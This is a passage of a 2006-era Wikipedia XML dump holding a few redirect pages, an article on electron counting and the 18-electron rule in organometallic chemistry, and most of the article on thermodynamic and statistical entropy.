Because the Eurocard system provided for so many modular card sizes and because connector manufacturers have continued to create new connectors which are compatible with this system, it is a popular mechanical standard which is also used for innumerable &quot;one-off&quot; applications. 

Conduction-cooled Eurocards are used in military and aerospace applications.  They are defined by the IEEE 1101.2-1992(2001) standard.

[[Category:Electronics]]</text>
    </revision>
  </page>
  <page>
    <title>England/City</title>
    <id>9885</id>
    <revision>
      <id>15907742</id>
      <timestamp>2004-07-08T08:33:26Z</timestamp>
      <contributor>
        <username>Jdforrester</username>
        <id>8776</id>
      </contributor>
      <comment>Altered to #REDIRECT[[City status in the United Kingdom]]</comment>
      <text xml:space="preserve">#REDIRECT[[City status in the United Kingdom]]</text>
    </revision>
  </page>
  <page>
    <title>England/County</title>
    <id>9886</id>
    <revision>
      <id>15907743</id>
      <timestamp>2003-05-06T05:12:13Z</timestamp>
      <contributor>
        <username>Mic</username>
        <id>6273</id>
      </contributor>
      <minor />
      <comment>Disambiguating Counties of England</comment>
      <text xml:space="preserve">#REDIRECT [[Counties of England]]</text>
    </revision>
  </page>
  <page>
    <title>England/FoodAndDrink</title>
    <id>9887</id>
    <revision>
      <id>15907744</id>
      <timestamp>2004-02-20T18:39:00Z</timestamp>
      <contributor>
        <username>RedWolf</username>
        <id>27822</id>
      </contributor>
      <minor />
      <comment>fix dr</comment>
      <text xml:space="preserve">#REDIRECT [[British cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>England/Food and Drink</title>
    <id>9888</id>
    <revision>
      <id>15907745</id>
      <timestamp>2003-08-18T01:27:03Z</timestamp>
      <contributor>
        <username>Delirium</username>
        <id>6827</id>
      </contributor>
      <minor />
      <comment>redirect</comment>
      <text xml:space="preserve">#REDIRECT [[British cuisine]]</text>
    </revision>
  </page>
  <page>
    <title>Electron counting</title>
    <id>9890</id>
    <revision>
      <id>41832510</id>
      <timestamp>2006-03-02T01:03:58Z</timestamp>
      <contributor>
        <username>YanA</username>
        <id>40074</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Electron counting''' in the [[inorganic chemistry]] and [[organometallic chemistry]] of [[transition metal]]s, is a formalism used for characterizing a compound and for understanding its electronic structure and [[bond]]ing. The [[valence shell]]s of a transition metal are filled when they contain 18 [[electron]]s:  2 each in the 5 ''d'' orbitals, or 10 total; 2 each in the 3 ''p'' orbitals, or 6 total; and finally 2 in the single valence shell ''s'' orbital. The electrons contributed by the metal atom or [[ion]] are summed with the electrons contributed by each [[ligand]] (i.e. those valence electrons of each ligand participating in some way in a bonding interaction with the metal, and not otherwise occupied only in intraligand bonding or in [[lone pair]]s not interacting with the metal center). A compound or ion which satisfies this '''18 electron rule''' is considered to be qualitatively more stable than other configurations or electronic states of the molecule. The &quot;18 electron rule&quot; applies mostly to organometallic complexes, compounds in which there are metal-carbon bonds, such as [[ferrocene]], [[iron pentacarbonyl]], [[chromium carbonyl]] and [[nickel carbonyl]].  Coordination compounds without metal-carbon bonds don't usually obey the &quot;18 electron rule.&quot;

Other electron counting rules are the [[octet rule]] for [[carbon]], [[oxygen]] and [[halogen]] compounds and the [[polyhedral skeletal electron pair theory]] or Wade's rule for [[polyhedral]] [[boron]] compounds such as [[borane]]s and [[carborane]]s.

== Counting rules for ligands ==

Add one for every [[halide]] or other anionic ligand which binds to the metal through a sigma bond.

Add two for every lone pair bonding to the metal (e.g. each phosphine ligand can bind with a lone pair)

[[Nitrosyl]] ligands can either donate one or three electrons to a metal centre.

For unsaturated ligands such as alkenes, count the number of carbon atoms binding to the metal. Each carbon atom provides one electron. Some examples:

{| border=&quot;1&quot; cellspacing=&quot;0&quot;
|-
! Ligand !! Electrons contributed
|-
| [[Ethylene]] || 2
|-
| [[Allyl]] || 3
|-
| [[Butadiene]] || 4
|-
| [[Cyclopentadienyl]] || 5
|-
| [[Benzene]] || 6
|}

== Examples of the 18 VE rule ==
There are two different approaches one can use when counting electrons, each arriving at the same total. The constituents (i.e. metal and ligands) can be regarded as ions, or as neutral species.

Using [[ferrocene]] as an example, and using the neutral approach first, the [[iron]] atom has 8 valence electrons. Each of the two [[cyclopentadiene]] [[radical]]s contributes 5 electrons, totalling 10 electrons from the ligands.

:'''10+8=18'''

Using the ionic approach, iron is taken in its common [[oxidation state]] Fe&lt;sup&gt;2+&lt;/sup&gt;, contributing only 6 valence electrons. However, the [[cyclopentadiene]] moieties are counted as aromatic cyclopentadiene [[anion]]s, contributing 6 electrons each as well.

:'''6+6+6=18'''

The utility of electron counting becomes more apparent when one considers what chemical transformations or derivatives might be readily accessible.  For example, what [[piano stool compound]] might one be able to create by formally removing one of the cyclopentadienyl ligands from ferrocene and replacing it with some number of [[carbon monoxide]] ligands?

Using the ionic approach, removing one cyclopentadienyl anion yields a [[cationic]] fragment containing one cyclopentadienyl (Cp) fragment and 12 valence shell electrons.  Since each carbon monoxide ligand contributes 2
electrons (3 CO ligands give the requisite 6 electrons), it should be possible to create an iron-containing complex cation containing one cyclopentadienyl group, one iron atom, and 3 carbon monoxide ligands:

:CpFe(CO)&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;

What one finds is that the iron complex satisfies the 18 electron count another way, by forming a dimer with an Fe-Fe bond.  Counting electrons for just one iron center can be done by considering the other iron as contributing 1 electron to the count:

:[CpFe(CO)&lt;sub&gt;2&lt;/sub&gt;]&lt;sub&gt;2&lt;/sub&gt;

:'''Cp 5''' + '''Fe 8''' + '''CO 4''' + '''Fe 1''' = '''18'''

== Weaknesses of the 18 VE rule ==

Many examples of 16 valence electron compounds exist, for instance [[Vaska's compound]] which was first made by [[Lauri Vaska]] is [IrCl(CO)(PPh&lt;sub&gt;3&lt;sub&gt;)&lt;sub&gt;2&lt;sub&gt;] which has

:'''9+1+2+(2x2)=16 VE'''

Many square plannar d&lt;sup&gt;8&lt;/sup&gt; compounds of groups 8, 9 and 10 are 16 VE compounds.

The 18 VE rule applies best to complexes where the metal is in a low oxidation state, and the metal has ligands which have strong ligand fields (e.g. [[alkyl|alkyls]], [[hydrides]] and [[carbonyl|carbonyls]]).

Also for the early transition metals it is the sometimes the case that it is not possible to pack the required number of ligands around a metal centre to attain a 18 VE complex. For instance imagine Ti(CO)&lt;sub&gt;7&lt;sub&gt; or ZrMe&lt;sub&gt;2&lt;sub&gt;(CO)&lt;sub&gt;6&lt;sub&gt;, such compounds are impossible because it not possible to pack the required number of ligands round the metal.

Furthermore, for metals in high oxidation states with weaker field ligands, the rule breaks down. Here the [[Crystal field theory|crystal field]] (or more correctly [[Ligand field theory|ligand field]]) energy effects are more able to influence the structure of the complexes. For instance the hexaaqua cobalt(II) ion is an octahedral complex where the cobalt has 

:'''9+(6x2)-2=19 VE'''

While tetrachlorocobalt(II) [CoCl&lt;sub&gt;4&lt;/sub&gt;]&lt;sup&gt;2-&lt;/sup&gt; has 

:'''9+(4x1)+2=15 VE'''


[[Category:Inorganic chemistry]]
[[Category:organometallic chemistry]]</text>
    </revision>
  </page>
  <page>
    <title>Entropy</title>
    <id>9891</id>
    <revision>
      <id>42113303</id>
      <timestamp>2006-03-03T22:30:55Z</timestamp>
      <contributor>
        <ip>203.118.191.118</ip>
      </contributor>
      <text xml:space="preserve">:''For other senses of the term, see [[entropy (disambiguation)]].''

The '''Thermodynamic entropy''' '''''S''''', often simply called the '''entropy''' in the context of [[thermodynamics]], is a measure of the amount of energy in a physical system that cannot be used to do work. In simpler terms, it is also a measure of the disorder and randomness present in a system.  
In [[thermodynamics]] and [[statistical mechanics]], it is a key physical variable in describing a [[system (thermodynamics)|thermodynamic system]].
Entropy is &quot;a quantitative measure of the amount of thermal energy ''not'' available to do work&quot; within a closed thermodynamic system.[http://www.answers.com/entropy&amp;r=67]

The [[SI]] unit of entropy is J·K&lt;sup&gt;−1&lt;/sup&gt; ([[joule]]s per [[kelvin]]), which is the same as the unit of [[heat capacity]], and entropy is said to be thermodynamically [[conjugate variables (thermodynamics)|conjugate]] to [[temperature]].  The entropy depends only on the current state of the system, not its detailed previous history, and so it is a [[state function]] of the parameters like [[pressure]], [[temperature]], etc., which describe the observable macroscopic properties of the system.

There is an important connection between entropy and the amount of internal energy in the system which is ''not'' available to perform [[mechanical work|work]]. In any process where the system gives up an energy ''&amp;Delta;E'', and its entropy falls by ''&amp;Delta;S'', a quantity at least ''T&lt;sub&gt;R&lt;/sub&gt; &amp;Delta;S'' of that energy must be given up to the system's surroundings as unusable heat.  Otherwise the process will not go forward. (''T&lt;sub&gt;R&lt;/sub&gt;'' is the temperature of the system's external surroundings, which may not be the same as the system's current temperature ''T''&amp;nbsp;). 

==Introduction==
Many quantities of matter tend to equalize their thermodynamic parameters - reducing differentials towards zero. Pressure differences, density differences, and temperature differences, all tend towards equalizing. Entropy is a measure of how far along this process of equalization has come. Entropy increases as this equalization process advances. For example, the combined entropy of &quot;a cup of hot water in a cool room&quot; is less than the entropy of &quot;the room and the water after it has cooled (and warmed the room slightly),&quot; because the heat is more evenly distributed. The entropy of the room and the empty cup after the water has evaporated is even higher.

An important [[Physical law|law of physics]], the [[second law of thermodynamics]], states that ''the total entropy of any isolated thermodynamic system tends to increase over time, approaching a maximum value''; and so, by implication, the entropy of the universe as a whole (i.e. the system and its surroundings) tends to increase.  We will consider the meaning of the &quot;second law&quot; further in a subsequent section.  Two important consequences are that heat cannot of itself pass from a colder to a hotter body: i.e., it is impossible to transfer heat from a cold to a hot reservoir without at the same time converting a certain amount of work to heat. It is also impossible for any device that operates on a cycle to receive heat from a single reservoir and produce a net amount of work; it can only get useful work out of the heat if heat is at the same time transferred from a hot to a cold reservoir. This means that there is no possibility of a '[[perpetual motion|perpetuum mobile]]' which is isolated. Also, from this it follows, that a reduction in the increase of entropy in a specified process, such as a [[chemical reaction]], means that it is energetically more efficient.

[[Statistical mechanics]] explains entropy as the amount of uncertainty (or &quot;mixedupness&quot; in the phrase of [[J. Willard Gibbs|Gibbs]]) which remains about a system, after its observable macroscopic properties have been taken into account.  For a given set of macroscopic quantities, like temperature and volume, the entropy is a function of the probability that the system is in various quantum states.  The more states available to the system with higher probability, the greater the &quot;disorder&quot; and thus, the greater the entropy.

(Note that it is important to distinguish the definition of disorder in the context of entropy and the definition of disorder in the context of everyday usage.  In physics, the term &quot;disorder&quot; in this sense refers to a specific, well-defined quantity, while disorder in everyday usage is more akin to disorganization.  A more thorough exploration of this concept can be found below).

The two definitions match up because adding heat to a system, which increases its classic thermodynamic entropy, also increases the system's [[temperature|thermal fluctuations]], so giving an increased lack of information about the exact microscopic state of the system, i.e. an increased statistical mechanical entropy. This will be considered in more detail below.

The entropy in statistical mechanics can be considered as a specific application of [[Shannon entropy]], according to a viewpoint known as [[MaxEnt thermodynamics]]. Roughly speaking, Shannon entropy is proportional to the minimum number of yes/no questions you have to ask to get the answer to some question. The statistical mechanical entropy is then proportional to the minimum number of yes/no questions you have to ask in order to determine the microstate, given that you know the macrostate.

==History==
Thermodynamic entropy was first introduced in the context of classical thermodynamics by [[Rudolf Clausius]] in [[1850]], in his analysis of [[Nicolas Léonard Sadi Carnot|Sadi Carnot]]'s [[1824]] work on thermodynamic efficiency; although it was not until [[1865]] that Clausius singled the quantity out and gave it the name entropy.  

In [[1877]], [[Ludwig Boltzmann]] formulated the alternative definition of entropy as a measure of statistical &quot;mixedupness&quot; or disorder, soon refined by [[J. Willard Gibbs]], which is now regarded as one of the cornerstones of the theory of [[statistical mechanics]].

[[Claude Elwood Shannon|Claude Shannon]] introduced the very general concept of [[information entropy]], used in [[information theory]], in [[1948]].  The view of seeing entropy in statistical mechanics as merely a particular application of Shannon's information entropy is largely due to the campaigning of [[E. T. Jaynes]], starting in [[1957]].

When necessary, to disambiguate between the statistical thermodynamic concept of entropy, and entropy-like formulae put forward by different researchers, the statistical thermodynamic entropy is most properly referred to as the '''[[Gibbs entropy]]'''.  The terms '''Boltzmann-Gibbs entropy''' or '''BG entropy''', and '''Boltzmann-Gibbs-Shannon entropy''' or '''BGS entropy''' are also seen in the literature.

== Thermodynamic definition of entropy ==
In this section, we discuss the original definition of entropy, as introduced by Clausius in the context of classical thermodynamics. Clausius defined the ''change in entropy'' of a thermodynamic system, during a [[reversible process (thermodynamics)|reversible process]] in which an amount of [[heat]] &lt;math&gt;\delta Q&lt;/math&gt; is introduced at constant [[temperature|absolute temperature]] ''T'', as

:&lt;math&gt;dS = \frac{\delta Q}{T} \,\!&lt;/math&gt;

This definition makes sense when absolute temperature has been defined. Note that the small amount &lt;math&gt;\delta Q&lt;/math&gt; of energy transferred by heating is denoted by 
&lt;math&gt;\delta Q&lt;/math&gt; rather than &lt;math&gt;dQ&lt;/math&gt;, because ''Q'' is not a [[state function]] while the entropy is.

Clausius gave the quantity ''S'' the name &quot;entropy&quot;, from the Greek word ''&amp;tau;&amp;rho;o&amp;pi;&amp;#942;'', &quot;transformation&quot;. Since this definition involves only differences in entropy, the entropy itself is only defined [[up to]] an arbitrary additive constant. 

When a process is irreversible, the above definition must be replaced by the statement that the entropy change is equal to the amount of energy required to return the system to its original state by a reversible transformation at a constant temperature, divided by that temperature. This is explained in more detail below.

=== Heat engines ===
Clausius' identification of ''S'' as a significant quantity was motivated by the study of reversible and irreversible thermodynamic transformations. A thermodynamic transformation is a change in a system's thermodynamic properties, such as [[temperature]] and [[volume]]. A transformation is reversible if it is [[quasistatic process|quasistatic]] which means that it is [[infinitesimal]]ly close to [[thermodynamic equilibrium]] at all times. Otherwise, the transformation is [[reversible process (thermodynamics)|irreversible]]. To illustrate this, consider a gas enclosed in a [[piston]] chamber, whose volume may be changed by moving the piston. If we move the piston slowly enough, the density of the gas is always homogeneous, so the transformation is reversible. If we move the piston quickly, [[pressure wave]]s are created, so the gas is not in equilibrium, and the transformation is irreversible.

A [[heat engine]] is a thermodynamic system that can undergo a sequence of transformations which ultimately return it to its original state. Such a sequence is called a [[cyclic process]], or simply a ''cycle''. During some transformations, the engine may exchange energy with the environment. The net result of a cycle is (i) [[mechanical work]] done by the system (which can be [[negative and non-negative numbers|positive]] or negative, the latter meaning that work is done ''on'' the engine), and (ii) heat energy transferred from one part of the environment to another. By the [[conservation of energy]], the net energy lost by the environment is equal to the work done by the engine.

If every transformation in the cycle is reversible, the cycle is reversible, and it can be run in reverse, so that the energy transfers occur in the opposite direction and the amount of work done switches sign.

=== Definition of temperature ===
In thermodynamics, [[temperature|absolute temperature]] is ''defined'' in the following way. Suppose we have two [[heat reservoir]]s, which are systems sufficiently large that their [[temperature]]s do not change when energy flows into or out of them. A reversible cycle exchanges heat with the two heat reservoirs. If the cycle absorbs an amount of heat ''Q'' from the first reservoir and delivers an amount of heat ''Q&amp;prime;'' to the second, then the respective reservoir temperatures ''T'' and ''T&amp;prime;'' obey

:&lt;math&gt;\frac{Q}{T} = \frac{Q'}{T'} \,\!&lt;/math&gt;

&lt;div style=&quot; width: 320px; float: right; margin: 0 0 1em 1em; border-style: solid; border-width: 1px; padding: 1em; font-size: 90%&quot;&gt;
''Proof'': Introduce an additional heat reservoir at an arbitrary temperature ''T&lt;sub&gt;0&lt;/sub&gt;'', as well as ''N'' cycles with the following property: the ''j''-th such cycle operates between the ''T&lt;sub&gt;0&lt;/sub&gt;'' reservoir and the ''T&lt;sub&gt;j&lt;/sub&gt;'' reservoir, transferring energy &lt;math&gt;\delta Q_j&lt;/math&gt; to the latter. From the above definition of temperature, the energy extracted from the ''T&lt;sub&gt;0&lt;/sub&gt;'' reservoir by the ''j''-th cycle is

:&lt;math&gt;\delta Q_{0,j} = T_0 \frac{\delta Q_j}{T_j} \,\!&lt;/math&gt;

Now consider one cycle of the heat engine, accompanied by one cycle of each of the smaller cycles. At the end of this process, each of the ''N'' reservoirs have zero net energy loss (since the energy extracted by the engine is replaced by the smaller cycles), and the heat engine has done an amount of work equal to the energy extracted from the ''T&lt;sub&gt;0&lt;/sub&gt;'' reservoir,

:&lt;math&gt;W = \sum_{j=1}^N \delta Q_{0,j} = T_0 \sum_{j=1}^N \frac{\delta Q_j}{T_j} \,\!&lt;/math&gt;

If this quantity is positive, this process would be a [[perpetual motion machine|perpetual motion machine of the second kind]], which is impossible. Thus,

:&lt;math&gt;\sum_{i=1}^N \frac{\delta Q_i}{T_i} \le 0 \,\!&lt;/math&gt;

Now repeat the above argument for the reverse cycle. The result is

:&lt;math&gt;\sum_{i=1}^N \frac{\delta Q_i}{T_i} = 0 \,\!&lt;/math&gt; (reversible cycles)
&lt;/div&gt;

Now consider a reversible cycle in which the engine exchanges heats &lt;math&gt;\delta Q_1,\delta Q_2,\cdots,\delta Q_N&lt;/math&gt; with a sequence of ''N'' heat reservoirs with temperatures ''T&lt;sub&gt;1&lt;/sub&gt;'', ..., ''T&lt;sub&gt;N&lt;/sub&gt;''. A negative &lt;math&gt;\delta Q&lt;/math&gt; means that energy flows from the reservoir to the engine, and a positive &lt;math&gt;\delta Q&lt;/math&gt; means that energy flows from the engine to the reservoir. We can show (see the box on the right) that

:&lt;math&gt;\sum_{i=1}^N \frac{\delta Q_i}{T_i} = 0 \,\!&lt;/math&gt;.

Since the cycle is reversible, the engine is always infinitesimally close to equilibrium, so its temperature is equal to any reservoir with which it is contact. In the limiting case of a reversible cycle consisting of a ''continuous'' sequence of transformations,

:&lt;math&gt;\oint \frac{\delta Q}{T} = 0 \,\!&lt;/math&gt; (reversible cycles)

where the integral is taken over the entire cycle, and ''T'' is the temperature of the system at each point in the cycle.

=== Entropy as a state function ===
We can now deduce an important fact about the entropy change during ''any'' thermodynamic transformation, not just a cycle. First, consider a reversible transformation that brings a system from an equilibrium state ''A'' to another equilibrium state ''B''. If we follow this with ''any'' reversible transformation which returns that system to state ''A'', our above result says that the net entropy change is zero. This implies that the entropy change in the first transformation depends ''only on the initial and final states''.

This allows us to define the entropy of any ''equilibrium'' state of a system. Choose a reference state ''R'' and call its entropy ''S&lt;sub&gt;R&lt;/sub&gt;''. The entropy of any equilibrium state ''X'' is

:&lt;math&gt;S_X = S_R + \int_R^X \frac{\delta Q}{T} \,\! &lt;/math&gt;

Since the integral is independent of the particular transformation taken, this equation is well-defined.

=== Entropy change in irreversible transformations ===
We now consider irreversible transformations. It can be shown that the entropy change during any transformation between two ''equilibrium'' states is

:&lt;math&gt;\Delta S \ge \int \frac{\delta Q}{T} \,\!&lt;/math&gt;

where the equality holds if the transformation is reversible.

Notice that if &lt;math&gt;\delta Q=0&lt;/math&gt;, then &amp;Delta;''S'' &amp;ge; 0. This is the Second Law of Thermodynamics, which we have discussed earlier.

Suppose a system is thermally and mechanically isolated from the environment. For example, consider an insulating rigid box divided by a movable partition into two volumes, each filled with gas. If the pressure of one gas is higher, it will expand by moving the partition, thus performing work on the other gas. Also, if the gases are at different temperatures, heat can flow from one gas to the other provided the partition is an imperfect insulator. Our above result indicates that the entropy of the system ''as a whole'' will increase during these process (it could in principle remain constant, but this is unlikely.) Typically, there exists a maximum amount of entropy the system may possess under the circumstances. This entropy corresponds to a state of ''stable equilibrium'', since a transformation to any other equilibrium state would cause the entropy to decrease, which is forbidden. Once the system reaches this maximum-entropy state, no part of the system can perform work on any other part. It is in this sense that entropy is a measure of the energy in a system that &quot;cannot be used to do work&quot;.

=== Measuring entropy ===
In real [[experiment]]s, it is quite difficult to [[measurement|measure]] the entropy of a system. The techniques for doing so are based on the thermodynamic definition of the entropy, and require extremely careful [[calorimetry]].

For simplicity, we will examine a mechanical system, whose thermodynamic state may be specified by its volume ''V'' and pressure ''P''. In order to measure the entropy of a specific state, we must first measure the [[heat capacity]] at constant volume and at constant pressure (denoted ''C&lt;sub&gt;V&lt;/sub&gt;'' and ''C&lt;sub&gt;P&lt;/sub&gt;'' respectively), for a successive set of states intermediate between a reference state and the desired state. The heat capacities are related to the entropy ''S'' and the temperature ''T'' by

:&lt;math&gt;C_X = T \left(\frac{\partial S}{\partial T}\right)_X \,\!&lt;/math&gt;

where the ''X'' subscript refers to either constant volume or constant pressure. This may be [[numerical integration|integrated numerically]] to obtain a change in entropy:

:&lt;math&gt;\Delta S = \int \frac{C_X}{T} dT \,\!&lt;/math&gt;

We can thus obtain the entropy of any state (''P'',''V'') with respect to a reference state (''P&lt;sub&gt;0&lt;/sub&gt;'',''V&lt;sub&gt;0&lt;/sub&gt;''). The exact formula depends on our choice of intermediate states. For example, if the reference state has the same pressure as the final state,

:&lt;math&gt; S(P,V) = S(P, V_0) + \int^{T(P,V)}_{T(P,V_0)} \frac{C_P(P,V(T,P))}{T} dT  \,\!&lt;/math&gt;

In addition, if the path between the reference and final states lies across any [[phase transition|first order phase transition]], the [[latent heat]] associated with the transition must be taken into account.

The entropy of the reference state must be determined independently. Ideally, one chooses a reference state at an extremely high temperature, at which the system exists as a gas. The entropy in such a state would be that of a classical ideal gas plus contributions from molecular rotations and vibrations, which may be determined [[spectroscopy|spectroscopically]]. Choosing a ''low'' temperature reference state is sometimes problematic since the entropy at low temperatures may behave in unexpected ways. For instance, a calculation of the entropy of [[ice]] by the latter method, assuming no entropy at zero temperature, falls short of the value obtained with a high-temperature reference state by 3.41 J/(mol&amp;middot;K). This is due to the &quot;zero-point&quot; entropy of ice mentioned earlier.

== Statistical entropy ==
=== Entropy and ''disorder'' ===
As stated above, when discussing entropy, the term disorder does not necessarily mean disorganization.  Many textbooks utilize a bedroom as an example of a hypothetical system in which disorganization is spontaneously increasing, and those textbooks say this is an example of entropy. A statement like this must be carefully made or else it can be misleading. For example, if all of the socks in the room were in perfect rows in a drawer, would that configuration have less entropy than if the socks were strewn about the room? The answer is to be found in the Shannon definition of entropy. One must ask &quot;how many distinct ways can socks be folded in the drawers&quot;, and &quot;how many different ways can they be strewn about the room&quot;? If these questions can be answered objectively, then the configuration with the most possibilities (probably the socks strewn about the room) would have the highest entropy, although this entropy would not be true thermodynamic entropy, but it would qualify as a type of information entropy. It is only when the information entropy concept is applied to the individual particles of a thermodynamic system that the information entropy and the thermodynamic entropy become the same.

=== Mathematical description ===
The macroscopic state of the system is defined by a distribution on the [[microstate (statistical mechanics)|microstates]] that are accessible to a system in the course of its [[fluctuations|thermal fluctuations]]. So the entropy is defined over two different levels of description of the given system. For a quantum system with a discrete set of microstates, if &lt;math&gt;E_i&lt;/math&gt; is the energy of microstate ''i'', and &lt;math&gt;p_i&lt;/math&gt; is its probability that it occurs during the system's fluctuations, then the entropy of the system is

: &lt;math&gt;S = -k_B\,\sum_i p_i \ln \,p_i&lt;/math&gt;

&lt;div style=&quot; width: 320px; float: right; margin: 0 0 1em 1em; border-style: solid; border-width: 1px; padding: 1em; font-size: 90%&quot;&gt;
'''Entropy changes for systems in a canonical state'''

A system with a well-defined temperature, ie one in thermal equilibrium with a thermal reservoir, has a probability of being in a microstate ''i'' given by [[Boltzmann's distribution]].  

Changes in the entropy caused by changes in the external constraints are then given by:
:&lt;math&gt; dS = -k_B\,\sum_i dp_i \ln p_i&lt;/math&gt;
:&lt;math&gt; \,\,\, = -k_B\,\sum_i dp_i (-E_i/k_BT -\ln Z)&lt;/math&gt;
:&lt;math&gt; \,\,\, = \sum_i E_i dp_i / T &lt;/math&gt;
:&lt;math&gt; \,\,\, = \sum_i [d (E_i p_i) - (dE_i) p_i] / T &lt;/math&gt;

where we have twice used the conservation of probability, ''&amp;sum; dp&lt;sub&gt;i&lt;/sub&gt;=0'' .

Now, ''&amp;sum;&lt;sub&gt;i&lt;/sub&gt; d (E&lt;sub&gt;i&lt;/sub&gt; p&lt;sub&gt;i&lt;/sub&gt;)'' is the expectation value of the change in the total energy of the system.

If the changes are sufficiently slow, so that the system remains in the same microscopic state, but the state slowly (and reversibly) changes, then ''&amp;sum;&lt;sub&gt;i&lt;/sub&gt; (dE&lt;sub&gt;i&lt;/sub&gt;) p&lt;sub&gt;i&lt;/sub&gt;'' is the expectation value of the work done on the system through this reversible process, ''dw&lt;sub&gt;rev&lt;/sub&gt;''.

But from the first law of thermodynamics, ''&amp;delta;E = &amp;delta;w +&amp;delta;q''. Therefore,
:&lt;math&gt;dS = \frac{\delta\langle q_{rev} \rangle}{T}&lt;/math&gt;

In the [[thermodynamic limit]], the fluctuation of the macroscopic quantities from their average values becomes negligible; so this reproduces the definition of entropy from classical thermodynamics, given above. 
&lt;/div&gt;

The quantity &lt;math&gt;k_B&lt;/math&gt; is a [[physical constant]] known as [[Boltzmann constant|Boltzmann's constant]], which, like the entropy, has units of [[heat capacity]]. The [[logarithm]] is [[Dimensionless number|dimensionless]].

This definition is valid including far away from equilibrium. Other definitions assume that the system is in [[thermal equilibrium]], either as an [[isolated system]], or as a system in exchange with its surroundings. The set of microstates on which the sum is to be done is called a [[statistical ensemble]]. Each [[statistical ensemble]] (micro-canonical, canonical, grand-canonical, etc.) describes a different configuration of the system's exchanges with the outside, from an [[isolated]] system to a system that can exchange one more quantity with a reservoir, like energy, volume or molecules. In every ensemble, the [[thermodynamic equilibrium|equilibrium]] configuration of the system is dictated by the maximization of the entropy of the union of the system and its reservoir, according to the [[second law of thermodynamics]] (see the [[statistical mechanics]] article).

Note the above expression of the statistical entropy is a discretized version of [[Shannon entropy]]

=== Boltzmann's principle ===
In Boltzmann's definition, entropy is a measure of the number of possible microscopic states (or '''microstates''') of a system in [[thermodynamic equilibrium]], consistent with its macroscopic thermodynamic properties (or '''macrostate'''). To understand what microstates and macrostates are, consider the example of a [[gas]] in a container. At a microscopic level, the gas consists of a [[Avogadro's number|vast number]] of freely moving [[atom]]s, which occasionally collide with one another and with the walls of the container. The microstate of the system is a description of the [[position]]s and [[momentum|momenta]] of all the atoms. In principle, all the physical properties of the system are determined by its microstate. However, because the number of atoms is so large, the motion of individual atoms is mostly irrelevant to the behavior of the system as a whole. Provided the system is in thermodynamic equilibrium, the system can be adequately described by a handful of macroscopic quantities, called &quot;thermodynamic variables&quot;: the total [[energy]] ''E'', [[volume]] ''V'', [[pressure]] ''P'', [[temperature]] ''T'', and so forth. The macrostate of the system is a description of its thermodynamic variables.

There are three important points to note. Firstly, to specify any one microstate, we need to write down an impractically long list of numbers, whereas specifying a macrostate requires only a few numbers (''E'', ''V'', etc.). However, and that is the second point, the usual [[thermodynamic equations]] only describe the macrostate of a system adequately when this system is in equilibrium; non-equilibrium situations can generally ''not'' be described by a small number of variables. For example, if a gas is sloshing around in its container, even a macroscopic description would have to include, e.g., the velocity of the fluid at each different point. Actually, the macroscopic state of the system will be described by a small number of variables only if the system is at global [[thermodynamic equilibrium]]. Thirdly, more than one microstate can correspond to a single macrostate. In fact, for any given macrostate, there will be a huge number of microstates that are consistent with the given values of ''E'', ''V'', etc. 

We are now ready to provide a definition of entropy. Let ''&amp;Omega;'' be the number of microstates consistent with the given macrostate. The entropy ''S'' is defined as

:&lt;math&gt;S = k_B \ln \Omega \,\!&lt;/math&gt;

where ''k&lt;sub&gt;B&lt;/sub&gt;'' is [[Boltzmann constant|Boltzmann's constant]].

The statistical entropy reduces to Boltzman's entropy when all the accessible microstates of the system are equally likely. It is also the configuration corresponding to the maximum of a system's  entropy for a given set of accessible [[microstates]], in other words the macroscopic configuration in which the disorder (or lack of information) is maximal. As such, according to the [[second law of thermodynamics]], it is the [[thermodynamic equilibrium|equilibrium]] configuration of an [[isolated]] system. Boltzman's entropy is the expression of entropy at thermodynamic equilibrium in the micro-canonical ensemble. 

This postulate, which is known as Boltzmann's principle, may be regarded as the foundation of [[statistical mechanics]], which describes thermodynamic systems using the statistical behaviour of its constituents. It turns out that ''S'' is itself a thermodynamic property, just like ''E'' or ''V''. Therefore, it acts as a link between the microscopic world and the macroscopic. One important property of ''S'' follows readily from the definition: since ''&amp;Omega;'' is a [[natural number]] (1,2,3,...), ''S'' is either ''zero'' or ''positive'' (this is a property of the [[logarithm]].)

=== Disorder and the second law of thermodynamics ===
We can view ''&amp;Omega;'' as a measure of the disorder in a system. This is reasonable because what we think of as &quot;ordered&quot; systems tend to have very few configurational possibilities, and &quot;disordered&quot; systems have very many. As an illustration of this idea, consider a set of 100 [[coin]]s, each of which is either [[coin flipping|heads up or tails up]]. The macrostates are specified by the total number of heads and tails, whereas the microstates are specified by the facings of each individual coin. For the macrostates of 100 heads or 100 tails, there is exactly one possible configuration, corresponding to the most &quot;ordered&quot; state in which all the coins are facing the same way. The most &quot;disordered&quot; macrostate consists of 50 heads and 50 tails in any order, for which there are 100891344545564193334812497256 ([[combination|100 choose 50]]) possible microstates.

Even when a system is entirely isolated from external influences, its microstate is constantly changing. For instance, the particles in a gas are constantly moving, and thus occupy a different position at each moment of time; their momenta are also constantly changing as they collide with each other or with the container walls. Suppose we prepare the system in an artificially highly-ordered equilibrium state. For instance, imagine dividing a container with a partition and placing a gas on one side of the partition, with a vacuum on the other side. If we remove the partition and watch the subsequent behavior of the gas, we will find that its microstate evolves according to some chaotic and unpredictable pattern, and that on average these microstates will correspond to a more disordered macrostate than before. It is ''possible'', but ''extremely unlikely'', for the gas molecules to bounce off one another in such a way that they remain in one half of the container. It is overwhelmingly probable for the gas to spread out to fill the container evenly, which is the new equilibrium macrostate of the system.

This is an illustration of a principle that we will prove rigorously in a [[#Entropy change in heat engines|subsequent section]], known as the [[second law of thermodynamics|Second Law of Thermodynamics]]. This states that

:''the total entropy of any isolated thermodynamic system tends to increase over time, approaching a maximum value''.

Since its discovery, the idea that disorder tends to increase has been the focus of a great deal of thought, some of it confused. A chief point of confusion is the fact that the Second Law applies only to ''isolated'' systems. For example, the [[Earth]] is not an isolated system because it is constantly receiving energy in the form of [[sunlight]]. Nevertheless, it has been pointed out that the [[universe]] may be considered an isolated system, so that its total disorder should be constantly increasing. We will discuss the implications of this idea in the section on [[#Entropy and cosmology|Entropy and cosmology]].

Once again, it is important to distinguish the meaning of &quot;disorder&quot; in the context of entropy and the colloquial definition, which is a vague term associated with &quot;chaos&quot;. The &quot;disorder&quot; to which we refer in this article is a specific, well-defined quantity.

=== Counting of microstates ===
